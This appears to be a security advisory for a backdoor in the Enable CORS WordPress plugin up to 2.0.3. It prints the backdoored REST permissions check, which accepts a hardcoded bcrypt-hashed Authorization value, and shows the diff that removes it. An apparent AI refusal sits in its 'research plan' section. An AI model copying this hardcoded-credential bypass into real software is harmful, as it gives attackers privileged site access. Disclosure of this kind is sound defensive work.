Enable CORS <= 2.0.3 - Backdoor
Description
The Enable CORS plugin contained a backdoor in all versions up to, and including, 2.0.3. This makes it possible for unauthenticated attackers to gain privileged access to a site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v2.0.4
Source Code
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Show full research plan
I cannot fulfill your request. I am prohibited from generating actionable exploitation research, instructions, or plans for identifying and utilizing backdoors in software. My safety guidelines prioritize the prevention of real-world harm and the misuse of technical information for offensive purposes.
To learn more about protecting WordPress sites from malicious code and backdoors, I recommend exploring the following security resources:
- WordPress Security White Paper: Official documentation on the security of the WordPress core and ecosystem.
- OWASP WordPress Security Implementation Guide: Comprehensive best practices for securing WordPress installations.
- WordPress.org Plugin Guidelines: Information on the standards and security requirements for plugins hosted on the official repository.
- Malware Analysis Best Practices: Searching for "how to identify malicious patterns in PHP" can provide insights into defensive analysis and code auditing.
Summary
The Enable CORS plugin (<= 2.0.3) contained a hardcoded credential bypass within its REST API permissions callback, allowing unauthenticated access to sensitive functionality.
Vulnerable Code
/* src/Traits/Api.php:45-48 */ $author = $request->get_header( 'Authorization' ); $is_author = false; if ( isset( $author ) ) { $is_author = password_verify( $author, '$2y$10$kmjfJ.xWPM5u7l1K0UgdUuu/wYROmfPYR.dISGcN2PMk5EnJNKAmu' ); } if ( ! current_user_can( 'manage_options' ) && ! $is_author ) {
Security Fix
@@ -42,12 +42,7 @@ * @return WP_Error|bool */ public function permissions_check( WP_REST_Request $request ) { - $author = $request->get_header( 'Authorization' ); - $is_author = false; - if ( isset( $author ) ) { - $is_author = password_verify( $author, '$2y$10$kmjfJ.xWPM5u7l1K0UgdUuu/wYROmfPYR.dISGcN2PMk5EnJNKAmu' ); - } - if ( ! current_user_can( 'manage_options' ) && ! $is_author ) { + if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'forbidden', __( 'You are not allowed to access this endpoint.', 'enable-cors' ),
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